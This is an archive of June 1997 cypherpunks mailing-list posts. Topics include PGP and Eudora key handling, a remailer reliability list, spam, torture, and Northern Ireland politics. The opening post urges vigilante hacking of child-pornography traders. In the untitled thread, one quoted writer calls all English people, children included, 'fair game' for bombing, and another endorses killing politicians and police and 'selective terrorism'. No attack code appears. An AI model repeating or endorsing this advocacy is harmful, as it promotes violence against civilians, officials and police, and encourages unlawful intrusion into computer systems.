sure you are hitting the guilty, so no innocent people get annihilated in 
the process. Make damn sure you know who you are hitting and why, and be 
able to back it up with the idea of having to justify your actions in 
front of a jury.

And make *REALLY SURE* that if you do come across files of child 
pornography, that you *OVERWRITE AND DESTROY* these files immediately! 
You wouldn't want to be the one who ends up being prosecuted for being in 
possession of this type of material. I would also recommend getting an 
anonymous email account, such as juno.com, mailmasher.com, hacked, etc., 
so that you can conduct your activities without fear of the inevitable 
retribution of those who actively trade this shit when the heat starts 
getting applied to them.

Of all the people who can help stop this, it is us...hackers. Not law 
enforcement, not the government, not the media. Not anyone. Just us, 
hackers who have the talent to do what no one else can.

Please forward this message freely around the Internet. It is not 
copyrighted in any way, shape, or form.

se7en






From stewarts at ix.netcom.com  Mon Jun  9 00:52:24 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 9 Jun 1997 15:52:24 +0800
Subject: Access to Storage and Communication Keys
Message-ID: <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>



The government and its friends have tried for a while to
convince the public that there's a great business market for
access to keys by the Proper Authorities, whether bosses or cops.
A number of us on the Pro-Privacy side have contended that
this is wrong - the business need is for later access to stored files,
not to encrypted communications keys and of course not to signature keys.

Having argued that point vociferously in the past, I'm now going to
waffle on the issue - while the business need is for access to
stored data, this may often include stored messages received from
a communication system in encrypted form.  Either the User Interface
needs to make it convenient to store the decrypted message,
or else the user will store the message in encrypted form -
which means there may be a business need for Proper Authority Access later.

This means, as {cypher,coder,ranter}punks, we need to address
this problem when building crypto tools, to avoid building systems
that create or sustain a business need for access to communication keys.

Some email systems really encourage you to save messages in 
one big hulking undocumented monolithic email box, with subfolders 
and databases and attachments and pointers, and some are a bit more
friendly but still leave bits and pieces of MIME splattered on your disk.
Some of the nicer tools I've used for encrypted file/mail handling
make it convenient to take encrypted incoming mail, decrypt it,
and either view it or save it to a file or clipboard.

I've been using PGP Inc.'s PGP5.0 Eudora Plug-In,
and it decrypts the mail into the mail message buffer itself.
When you finish with that particular message (e.g. go to the next,
or just close it), you get asked it you want to save the modified message,
and if you say "yes" you'll have the decrypted message in your mailbox.
However, there's a negative about this - if you receive mail that's 
signed and encrypted, and save the modified version, it loses the
signature information - so it may be more valuable to save the
encrypted version...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From kent at songbird.com  Mon Jun  9 01:00:36 1997
From: kent at songbird.com (Kent Crispin)
Date: Mon, 9 Jun 1997 16:00:36 +0800
Subject: Fraud and free speech
In-Reply-To: <199706090223.WAA29211@dhp.com>
Message-ID: <19970609002216.62726@bywater.songbird.com>



On Sun, Jun 08, 1997 at 10:23:43PM -0400, lucifer Anonymous Remailer wrote:
> Tim May wrote:
> > 
> > At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
> > >Well I think that there are some that would confuse the issue between 1st
> > >Amendment free speech and the issues surrounding fraud. Especially those
> > >in government who write the laws that regulate commercial speech.
> > 
> > The mistake has been to extend "fraud" laws to non-contract situations,
> > e.g., ordinary speech (as distinguished from contracts).
> 
>   Any time that you see a thread in which Kent Crispin accuses someone
> of trying to "muddy the waters" you can pretty much guarantee he is
> trying to throw a logical curveball of his own.

The ones you really have to watch out for are my logical spitballs.  
But I am deeply flattered that you take me so seriously.

>   Kent added some tripe to the thread supporting his favorite theme,
> which is that it is the job of government to "enforce" contractual
> agreements. Naturally, he also extends the format of these contracts
> to include government authority to enforce criminal penalties for
> statements made by the great grandfather of the second cousin of the
> spouse of one of the person making the contract.

You are completely misrepresenting me here -- I distinctly said 
"grandmother of the first cousin".  And my favorite theme is from one 
of the Brandenberg Concertos.

>   Follow any thread after a Crispin post and you will find people
> arguing over issues he raises which have little basis in reality.

You have a point there.  You will search in vain for a stitch of 
reality in this post.

> > Contracts, with clearly stated conditions and with judgeable or
> > falsifiable/testable conditionals, are a matter for the courts (private
> > courts, in fact), but vague promises, advertisements, propaganda, etc. are
> > not.
> 
>   Dimitri wrote a couple of posts which dealt well with the original
> concept of two parties agreeing on an arbitrator/judge to settle
> contractual disputes (e.g. the court of Prince X) and the following
> usurpment of these free-will agreements by people in power who decree
> that _they_ are now the only valid arbitrator/judge in contractual
> matters.

It's pointless to reply to Dimitri -- he filters my posts.  Of course 
I would be delighted to engage in a civilized discourse with him, but 
it's impossible.

>   We now have a system where if someone breaks agreement with you the
> government locks them in a cage where there is no possibility of them
> paying you what they are contractually obligated to. The government
> doesn't give a fat rat's ass what your desires are for resolution of
> the dispute. They are always busy protecting the nebulous "other"
> rather than someone real, with a real interest in the situation.

A revealing paragraph, indeed.

>   The government mandates that contractual agreements must be 
> settled in a forum where the corporation with an army of lawyers
> can bury the attorney that Joe Average picked out of the yellow
> pages. When you enter into a contractual agreement with someone who
> has a guy named "Big Louie" as arbitrator, however, the government
> calls it organized crime.
>   Pardon me if I fail to see the distinction.

OK

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From stewarts at ix.netcom.com  Mon Jun  9 01:39:10 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 9 Jun 1997 16:39:10 +0800
Subject: Who is an encrypted message for? [PGPtray/Eudora]
Message-ID: <3.0.1.32.19970609005410.0075c738@popd.ix.netcom.com>



	[Fred, could you forward this to pgp-users?  Thanks.]

PGP 5.0 GUI on Win95 does this for both PGPtray and the Eudora plug-in.
When you want to decrypt a message, it doesn't tell you who the message
is TO when asking you for the passphrase.  Therefore, if you have
more than one user id with different passphrases, you don't know
which one to type in.  

Also, from a security perspective, this is bad, because what you 
do with the contents of a message may be different
depending on who it came to or from - was that mail asking for the
Secret Plans addressed to your individual Work key, your department key,
your home key, or your Illuminati Conspiracy key?

This appears to be Versionb b14c3, though it's not easy to find out,
and I'm not sure if that's the version of PGPtray, PGPkeys, or both...




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From whgiii at amaranth.com  Mon Jun  9 01:59:55 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 9 Jun 1997 16:59:55 +0800
Subject: Access to Storage and Communication Keys
Message-ID: <199706090812.DAA16258@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970609000938.00756910 at popd.ix.netcom.com>, on 06/09/97 
   at 12:09 AM, Bill Stewart  said:

>I've been using PGP Inc.'s PGP5.0 Eudora Plug-In,
>and it decrypts the mail into the mail message buffer itself. When you
>finish with that particular message (e.g. go to the next, or just close
>it), you get asked it you want to save the modified message, and if you
>say "yes" you'll have the decrypted message in your mailbox. However,
>there's a negative about this - if you receive mail that's  signed and
>encrypted, and save the modified version, it loses the signature
>information - so it may be more valuable to save the encrypted
>version...

Well this is why I tell everyone to clear sign the message first and then
encrypt it. In my PGP GUI/E-Mail integration E-Secure this is the default
behavior. IMHO encrypting & signing (-sea) is a PITA (for the reciever).

I also verify signatures of all signed inbound messages and append the
output from PGP to the bottom of the message so that you can see the
results when the message is opened without having to re-run PGP.

The user also has the option to either decrypt messages as they are
retreived or to store them encrypted.

I just released the first beta of my auto-encrypt code. That was quite fun
to write. Myself am rather disturbed by how many PGP/E-Mail implmentations
handle signing/encrypting of messages. One of my biggest pet peeves is
when only the plain text of a message is signed/encrypted. I have seen
this with more than 1 implementation and I see it as a serrious security
flaw.

Another issue that is usally missed is Bcc's. The whole purpose of using
Bcc's is that you don't want the rest of your distribution to know that
you have sent a copy to the addresses on the Bcc line. If you encrypt a
message with multiple keys including keys for your Bcc's then your Bcc's
will be known to everyone who recieves a copy of the message.

What I have done to address this is to send seperate copies of the message
to each address on the Bcc list each encrypted with only the one key for
the address.

You can have the strongest algorithms in the world but they do you no good
if they are poorly implemented.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5u7uo9Co1n+aLhhAQH/sgP/V/ulJSLuNEV+sBW1hAnRsbYizxUb3tbc
eJtG6YZnhszgjmj0ybgA/yfIC3i9uXjvuZeRdyrD9YSTf0a0gWOkcAzhhB/A5XBj
Kf80HEXiJhd9dLSxYUGD55QFQNtz1QGbEGCURLyCchuWa0KrpLUofvUZ0cfatk+3
VKbfYn0KMTA=
=vvGI
-----END PGP SIGNATURE-----






From wgrip at arcturus.net  Mon Jun  9 17:17:08 1997
From: wgrip at arcturus.net (wgrip at arcturus.net)
Date: Mon, 9 Jun 1997 17:17:08 -0700 (PDT)
Subject: Get your site Noticed!
Message-ID: <19970380054TAA0856@pwrnet.com>


Hello,

Do you have a webpage that's just sitting there?

Need more hits and visibility?  Now you can promote your pages

like the pros!  The WebSeek Promotion Spider puts your

pages on the TOP of the Search Engines! Get your FREE Shareware 

Version today and see what this powerful program can do for your site!!

For more info please respond to our Autoresponder at:  
netnow at arcturus.net  and say "Promo-Now"

Resellers Needed! 

thanks,

Web Promotions!
~~~~~~~~~~~~~~~~~~~~~~~







Note: You will not receive another message BUT we do utilize
the Remove List at: remove at cyberpromo.com






From dlv at bwalk.dm.com  Mon Jun  9 05:05:47 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 20:05:47 +0800
Subject: Fraud and free speech
In-Reply-To: <19970609002216.62726@bywater.songbird.com>
Message-ID: 



Kent Crispin  writes:
> >   Dimitri wrote a couple of posts which dealt well with the original
> > concept of two parties agreeing on an arbitrator/judge to settle
> > contractual disputes (e.g. the court of Prince X) and the following
> > usurpment of these free-will agreements by people in power who decree
> > that _they_ are now the only valid arbitrator/judge in contractual
> > matters.
>
> It's pointless to reply to Dimitri -- he filters my posts.  Of course
> I would be delighted to engage in a civilized discourse with him, but
> it's impossible.

Kent is lying again, as usual.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From announce at lists.zdnet.com  Mon Jun  9 21:28:58 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Mon, 9 Jun 1997 21:28:58 -0700 (PDT)
Subject: ZDNet Announces Computer Magazine Archive!
Message-ID: 


----------------------------------------------------------------
   ZDNET ANNOUNCEMENT        6/10/97
----------------------------------------------------------------

Introducing Computer Magazine Archive:
Subscribe today--FREE until June 30th!

Need an easy way to track the latest computer industry trends, 
research your competitors, follow the latest IPO's or research 
just about anything related to high-tech? 

Computer Magazine Archive, a new service from ZDNet, puts 
over 55,000 articles from 70 of the most popular computer 
publications at your fingertips.  You won't need to search through
piles of old publications or your overstuffed clipping file for 
information anymore.  Simply log on to http://cma.zdnet.com for 
a faster, more effective way to access the information you need.

----SPECIAL LIMITED-TIME OFFER----

Similar information databases typically sell for thousands of 
dollars a year. With Computer Magazine Archive, you can access 
the same information for only $4.95 a month! And as a special 
introductory offer, it's FREE until June 30th when you sign up
today.  Try it risk-free and if you're not completely satisfied,
simply cancel before June 30th and pay absolutely nothing. 
 
Log on to http://cma.zdnet.com to test-drive Computer Magazine 
Archive today. It's the most comprehensive database of computing 
articles you'll find online!

Computer Magazine Archive:  http://cma.zdnet.com

________________________________________________________________     

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet.

--To subscribe to ZDNet Announcements, please send mail to:
announce-on at lists.zdnet.com       

You can leave the subject and body blank.       

--To unsubscribe to ZDNet Announcements, please send mail to:
announce-off at lists.zdnet.com      

You can leave the subject and body blank.   
________________________________________________________________

Powered by Mercury Mail: http://www.merc.com






From dlv at bwalk.dm.com  Mon Jun  9 06:29:35 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 21:29:35 +0800
Subject: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199701081748.RAA00773@server.test.net>
Message-ID: <6V618D47w165w@bwalk.dm.com>



[thanks for the very informative message - much snipped]

Adam Back  writes:
> However, here are a few things you might be interested to know.  I
> understand the majority of people in Northern Ireland do not want to
> be part of Southern Ireland.

I don't think this has been put to a vote, but this is probably true.

>                               The people in NI have been there for
> multiple generations, and probably also don't want to be relocated to
> England.

Fine - let them stay, or emigrate to whatever other country will take them.
Maybe South Africa wants to increase its white population (kidding).
Or maybe the U.S. ought to increase it white population.

Why is the rest of the UK obliged to cater to their desires?

What if the majority of the NI population felt that a special L1000 poll tax
should be imposed on the English, with the proceeds disbursed equally among
the NI population?

What if Uganda took a vote and the overwhelming majority decided to
invite the UK back to rule them and to pour capital in?

>           Many of these people are English descent and their ancestors
> where given land by the British government which was stolen from
> native Irish about 300 years ago.  They have also intermarried.

Scottish descent, stricly speaking. Also at the rates the catholics
are breeding, they'll be a minority soon.

There are some protestants in SI, and no one's killing them on sight, AFAIK.
Wasn't Eamon de Valera a sephardic jew or something?

> You should also realise that IRA and supporters are minority in NI
> today, for a sense of perspective.

If you're such a strong believer in the rule of the majority :-), why
should the NI protestants (who are a fraction of the total UK population)
force the entire UK to do something that the rest of the UK doesn't want?

> In the mean time the IRA and the opposing paramilitary organisation
> blow up, assasinate, knee-cap each other, protestants, catholics, joy
> riders, and a few innocent bystanders, and I think both deal in drugs,
> and are involved in organised crime to fund their activities.

Yep.  So does the CIA.  Maybe that's why the IRA isn't calling for
a vote in NI to join SI. :-)

> (I forget name, but there is a non-governmental paramilitary group on
> other side to IRA in NI, occasionally there is rumor that British Army
> is feeding this paramilitary organisation names of IRA suspects to
> hit, to save them the trouble).

Is that the guys that Hallam Baker said he had asked to kill me? :-)

> they're saying after a while :-).  Not sure of Welsh and Irish names
> for English.  US name is `Limey'.

The English navy used by be plagued by the scurvy (vitamin C deficiency)
during the 18th and early 19th century. Then some bright guy came up with
the idea of storing lots of limes on the ships and forcing the seamen to
suck on them. It did cure the scurvy, but earned them the nickname.

ObTrivia: the official Russian name for lime is "LAJM".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ichudov at Algebra.COM  Mon Jun  9 06:38:42 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Mon, 9 Jun 1997 21:38:42 +0800
Subject: My War
In-Reply-To: 
Message-ID: <199706091259.HAA10924@manifold.algebra.com>



please post more information about the technical side of your war.

thanks

	- Igor.






From raph at CS.Berkeley.EDU  Mon Jun  9 07:30:13 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 9 Jun 1997 22:30:13 +0800
Subject: List of reliable remailers
Message-ID: <199706091350.GAA06451@kiwi.cs.berkeley.edu>



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 9 Jun 97 6:45:22 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer at hidden.net              #-##*---####    38:53  99.99%
weasel   config at weasel.owl.de             ++++--++--+   2:09:06  99.95%
squirrel mix at squirrel.owl.de              +-++--++-++   2:05:06  99.95%
jam      remailer at cypherpunks.ca          ****** *****    10:29  99.83%
balls    remailer at huge.cajones.com        ###.-## ####    38:28  99.71%
replay   remailer at replay.com              *****  ** **     5:44  99.35%
mix      mixmaster at remail.obscura.com     *.-.-----.    7:30:50  97.83%
reno     middleman at cyberpass.net          -+--------+-  1:19:13  97.76%
winsock  winsock at rigel.cyberpass.net      -+--------    3:48:43  95.95%
lucifer  lucifer at dhp.com                  +++   +++  +    51:30  91.29%
cyber    alias at alias.cyberpass.net        *****  ** *     15:59  88.67%
nym      config at nym.alias.net                              3:02   0.05%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From trei at process.com  Mon Jun  9 07:30:57 1997
From: trei at process.com (Peter Trei)
Date: Mon, 9 Jun 1997 22:30:57 +0800
Subject: Steak Knife Decryption
Message-ID: <199706091409.HAA15948@rigel.cyberpass.net>



> Subject:       Re: Steak Knife Decryption
> To:            mpd at netcom.com (Mike Duvos)
> Date:          Sat, 7 Jun 1997 00:44:15 -0500 (CDT)
> Cc:            cypherpunks at cyberpass.net
> From:          ichudov at algebra.com (Igor Chudov @ home)
> Organization:  Bool Sheet Software
> Reply-to:      ichudov at algebra.com (Igor Chudov @ home)

> Mike Duvos wrote:
> > 

> I am not quite clear if rational people can get something out of
> torturing other rational people. Maybe, I am confused and wrong
> somewhere.
> 	- Igor.

Torture is a means of producing an irrational state in people's
minds (at least temporarily), thus causing them to do things they
would not rationally do (sign a prepared confession, reveal a secret, 
etc) If torture could not do this, it would not be used; verbal
persuasion over tea and crumpets is *so* much more pleasant.

Even people who might be able to face a more or less painless 
death with equanimity (in the pursuit of some greater cause) 
may break down as the bamboo splints are pushed under their 
fingernails.

'Rational torture victim' is an oxymoron.

Peter Trei
trei at process.com






From davidlu at sco.COM  Mon Jun  9 07:42:32 1997
From: davidlu at sco.COM (David Lucas)
Date: Mon, 9 Jun 1997 22:42:32 +0800
Subject: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199706081214.HAA02893@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970609095437.007d12e0@middx.x.co.uk>



Adam,

To answer a few questions...



>(I forget name, but there is a non-governmental paramilitary group on
>other side to IRA in NI, occasionally there is rumor that British Army

The Loyalists tend to be either UFF (Ulster Freedom Fighters) or UVF
(Ulster Volunteer Force) plus there will be various other groups too.

>is feeding this paramilitary organisation names of IRA suspects to
>hit, to save them the trouble).



>Some Scottish people want home rule (Scottish Independence Party?),

Scottish Nationalist Party (SNP)

>ps Paddy is generic name for an Irishman, a haggis is a stuffed part
>of sheeps anatomy, a peculiar highland delicacy, nick name for
>Scotsman, leek is a vegetable, some kind of Welsh emblem, and used as

Haggis is a stuffed sheeps stomach (I always thought that 'Jock' was the
English nickname for Scots?)

>name for Welshman.  Scots call English Sasenachs (I lived in Scotland
>for a couple of years, you get so you can understand what it is
>they're saying after a while :-)

Likewise. I've only been here 3 months and still can't understand the local
yokel accent.

--
A Scotsman living and working south of the border.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
               David Lucas - Test Engineer @ SCO Cambridge.
                          E-mail: davidlu at sco.com

 Opinions expressed within this message are my own and do not necessarily
            represent those of my employer * I am not a lawyer
--------------------------------------------------------------------------
        The light at the end of the tunnel is an oncoming train...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From paul at fatmans.demon.co.uk  Mon Jun  9 07:45:54 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 9 Jun 1997 22:45:54 +0800
Subject: No Subject
Message-ID: 




-----BEGIN PGP SIGNED MESSAGE-----

>>In the same way I do not believe that the sheeple who every 5 years go 
>>out and vote in some corrupt and evil party to power commit a crime 
>>against me, even though they are definitely naive, stupid and brainwashed
>> to believe in the process of demoncracy, and particularly in its current
>> flavour. Remember the NAP, direct acts of agression are the only crimes.
>
>Well I for one do not beleive that only direct acts of agression are the
>only crimes. If I hire a hitman to bump off my wife I am as guilty of the
>murder as the one who pulls the trigger. If he kills off 2 or 3 others in
the process of killing her even I only hired him to kill her I am still
>guilty for the other deaths.

If you are in a group of people, and vote for your wife not to be killed, 
but you are outnumbered and the group have her killed, I would not say 
you were guilty. Similarly if everyone else chose to vote in a poll to 
say "do you want to kill William Geigers wife?" and you abstained, I 
would not say you were guilty.

The paralells between this and a political election are easy to draw.

>The same goes true for governments and their citizens. Citizens "hire"
>governments to do their bidding. If the people want their government to do
>"x" and they do "y" and the people let them continue doing "y" then they
>are just as guilt as the officials in the government. Ofcource you have
>the segmant of the population that support "y" but they are obviously
>guilty.

In that case I would say you were guilty of murder. I do take direct 
action against the government, and so do you, because we have not yet 
removed the state does not mean we are murderers.

>> A government can only conduct its activities with the support of its
>> population. This may be active support or support through inactivity (ie
>> shrugging shoulders and doing nothing).

>Shrugging of shoulders is ignorant and reprehensible but not criminally 
>so. To make an analogy, if I see someone in the street who has been run 
>over by a car and is going to die if I do not fetch assistance, to walk 
>on by would certainly be a callous act, but not criminal.

>Also, often there is very little one can do alone, you are starting to 
>apply democratic arguments here, in that you are saying "if the majority 
>of English people support the occupation of NI kill all English people". 

>Yes that is *EXACTLY* what I am saying. :)
>
>It is up to the people to control their governmnet. If their government
>acts illegaly or immorally and the citizens do nothing to stop them (up to
>and including arm revolt against their government) then they are just as
>guilty as the ones pulling the triggers!!

Yes, but there are several reasons why this cannot currently occur:

1. The UK government has systematically taken action to disarm the 
population, of course, this law can be easily circumvented.
2. The majority of people are too cowardly to take any action, and too 
brainwashed to see the governments evils.  
3. The English do not understand the history of NI, although NI is not 
the only issue which should cause public outcry it is the most obvious, 
and most people simply do not even realise the crimes carried out by the 
British in NI.

>Every English man, woman & child is guilty of the crimes against the Irish
>people and as such are fair game for retalition. 

Perhaps this was only a figure of speech and I am replying to a void 
point but I do not believe, even if we accept citizens are responsible 
for the crimes of the government, that children could be guilty, not that 
is if under voting age, and definitely not if under the age of criminal 
responsibility.

>Perhaps if enough good
>Englishmen get blownup the will finally force their government to stop
>their agression against the Irish.

It is better that a lot of bad Englishmen (such as poloticians, police 
etc.) get killed, they provoke more public sympathy that Joe Sixpack.

>Yes, but the only Germans I believe guilty of crimes were those who 
>directly took action in support of the government, "we were just obeying 
>orders" is no excuse, but not taking action to end the holocaust was no 
>crime. Turning a blind eye, and taking no action, are different things, I
> do not turn a blind eye to the problems in northern Ireland, I recognise
> however that there is nothing I can do to solve this problem, so I 
>concentrate on more productive things.

>Well with that attitude, "there is nothing I can do" is why governments
>get away with what they do. 

Of course, but it is very often true. Of course the German people should 
have revolted and deposed Hitler before WWII even began, the reason they 
did not do so was cowardice, the reason the English do not revolt is 
because they *do not see that the government commits crimes*. To English 
people, the governments acts of brutality in NI are just "protecting the 
people" or "keeping the peace" etc. 
There is a vast difference between persuading people who realise they 
should do something to do it, and persuading people to see things a 
different way. 

>You as a citizen of the UK are responcible for
>the actions of your government. This is a responcibility you can not
>ingnore because it is "too hard" or "too incovienant". It is not only your
>right but your duty to do everything possable upto and including the arm
>overthrowing of your government.

I realise that I, as an citizen of the UK should do something 
from a moral point of view, but, this simply does not suggest to me that 
if I do not do anything I am commiting a crime, this is not a logical 
step of reasoning to me. Whatever the case, I do do something, it isn`t 
yet armed revolt, but I wouldn`t rule that out for the future.

>The majority of citizen-units are too cowardly to take any action even 
>when they see the evils of government, this makes it very difficult for 
>the minority to end this evil, there is definitely strenth in numbers.

>Difficult but not impossiable. I am sure that the IRA would like to launch
>an all out invasion of England and put an end to the whole thing. They are
>too small to do so. So they engage in a policy of "terrorism" against the
>citizens of England who are the true powerbase of the English government.

Yes, but to do so would require the belief and support of most of the 
population, a virtually impossible task in a reasonable space of time. I 
am not saying this is an excuse for inaction, merely stating fact. I 
personally see geurilla warfare methods, selective "terrorism" and 
cryptography, as well as info-warfare as the means by which the state 
will be overthrown, there is no longer a need for large armed revolt. 

>I would imagine that a "man on the street" survey would find that most UK
>citizens support the actions of their government which makes them targets
>even more so.

Yes indeed, the average brainwashed citizen-unit thinks any "violent" act 
of self defence is criminal, recall the British public recently signed a 
petition in massive numbers (something like 10% of the population) for 
the banning of *all* handguns, even for sporting purposes. There are also 
laws in the UK which do not allow citizens to carry any defensive weapon 
whatsoever, these laws kill innocent people.

>This is a blatant and misguided overgeneralisation, I realise that 
>sometimes innocents get killed, I do find this understandable and 
>sympathise with those who feel they can excuse their actions in the name 
>of "war", but the actions of those who kill innocent people to get to the
> guilty are still crimes, and should be treated as such.

>No it puts the responcibility of government actions squarely on the
>shoulders of those who are responcible, the citizens. No government wether
>democracy or dictatorship can survive without a minimum of passive support
>of its citizens. Germany never could have commited its crimes without this
>support, the communist in Russia, not the Japanise. As such they are all
>guilty, not just the ones pulling the trigers.

If you come up to me in the street, hold a gun to my head and tell me to 
move so you can shoot someone behind me, I am going to move. The 
government uses force and coercion to compel its citizens to get out of 
its way and allow it to carry on its evil work. Sure, if I move to allow 
you to shoot the guy I may be cowardly, not guilty though, I see these 
two situations as very similar. 

I don`t think however that I personally can be thought of as guilty, even 
if we do accept for a moment that non-action is a form of consent, civil 
disobediance is an excellent tactic to show the violence of the 
government against peaceful protest, "terrorist" acts simply incur the 
displeasure of the sheeple and make them more determined to support the 
government.

>You can see prime examples of this all throughout Eastern Europe & the
>USSR. The old communist regimes lost popular support and their governments
>proptly collapsed.

This is something I was thinking about a while ago, is there any way we 
can vastly accelarate the governments programme of infringment of rights?
The boiling a frog slowly argument currently applies in that people do 
not see the governments evil, if they moved much further more people 
would open their eyes and see what is happening. Exposing the brutality 
of the state, as gandhi did to great effect, is always useful. Recall 
the fracas in NI over a peaceful Orange order march being banned recently 
(in the end the march went ahead but there was a lot of media coverage).

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From ijmkkj at micro-net.com  Mon Jun  9 22:50:38 1997
From: ijmkkj at micro-net.com (ijmkkj at micro-net.com)
Date: Mon, 9 Jun 1997 22:50:38 -0700 (PDT)
Subject: Automotive Products - Shocks, Struts, Suspensions
